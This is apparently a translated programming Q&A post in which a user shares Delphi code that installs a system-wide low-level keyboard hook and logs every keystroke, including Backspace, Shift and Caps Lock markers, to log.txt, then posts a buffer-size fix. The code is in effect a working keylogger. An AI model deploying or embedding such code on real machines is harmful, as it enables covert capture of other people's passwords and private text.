我需要一个keyboad挂钩写入来自BeginThread()
的txt文件,我的代码的问题是不写 {BKS} , {SHIFT} ,或 {CAPS} 。并且捕获的所有字符都复制在txt文件中。
那么,我怎么解决?
代码:
var
Form1: TForm1;
HookHandle: hHook;
ft: text;
ThrId: LongWord;
ThrHandle: Integer;
implementation
{$R *.dfm}
function ThreadWrite(PCharacter: PWideChar): Integer;
begin
append(ft);
write(ft,PCharacter);
closefile(ft);
EndThread(0);
Result := 0;
end;
function LowLevelKeyboardProc(nCode: Integer; wParam: wParam;
lParam: lParam): LRESULT; stdcall;
var
vkey: Cardinal;
buff: WideChar;
barray: array[0 .. 255] of WideChar;
kbState: TKeyboardState;
keybLayout: HKL;
_msg: PEventMsg;
begin
_msg := Pointer(lParam);
if (nCode >= 0) and (wParam = WM_KEYDOWN) then
begin
GetKeyboardState(kbState);
KeybLayout:=GetKeyboardLayout(0);
vkey := MapVirtualKeyEx(_msg.paramL, MAPVK_VSC_TO_VK, keybLayout);
ToUnicodeEx(vkey, _msg.paramL, @kbState, @buff, 1, 0, keybLayout);
if vkey = 8 then
begin
StringToWideChar('{BKS}',barray,sizeof(buff));
BeginThread(nil, 0, @ThreadWrite, @barray, 0, ThrId);
end
else
if vkey = 16 then
begin
StringToWideChar('{SHIFT}',barray,sizeof(buff));
BeginThread(nil, 0, @ThreadWrite, @barray, 0, ThrId);
end
else
if vkey = 20 then
begin
StringToWideChar('{CAPS}',barray,sizeof(buff));
BeginThread(nil, 0, @ThreadWrite, @barray, 0, ThrId);
end
else
BeginThread(nil, 0, @ThreadWrite, @buff, 0, ThrId);
end;
Result := CallNextHookEx(HookHandle, nCode, wParam, lParam);
end;
function InstallHook: Boolean;
begin
Result := False;
if HookHandle = 0 then
begin
HookHandle := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0);
Result := HookHandle <> 0;
end;
end;
function UninstallHook: Boolean;
begin
Result := UnhookWindowsHookEx(HookHandle);
HookHandle := 0;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
assignfile(ft,'log.txt');
rewrite(ft);
closefile(ft);
InstallHook;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UninstallHook;
end;
修改
解决了 {BKS} , {SHIFT} , {CAPS} 的问题:
更改:
中SizeOf(BUFF)
要:
中SizeOf(barray)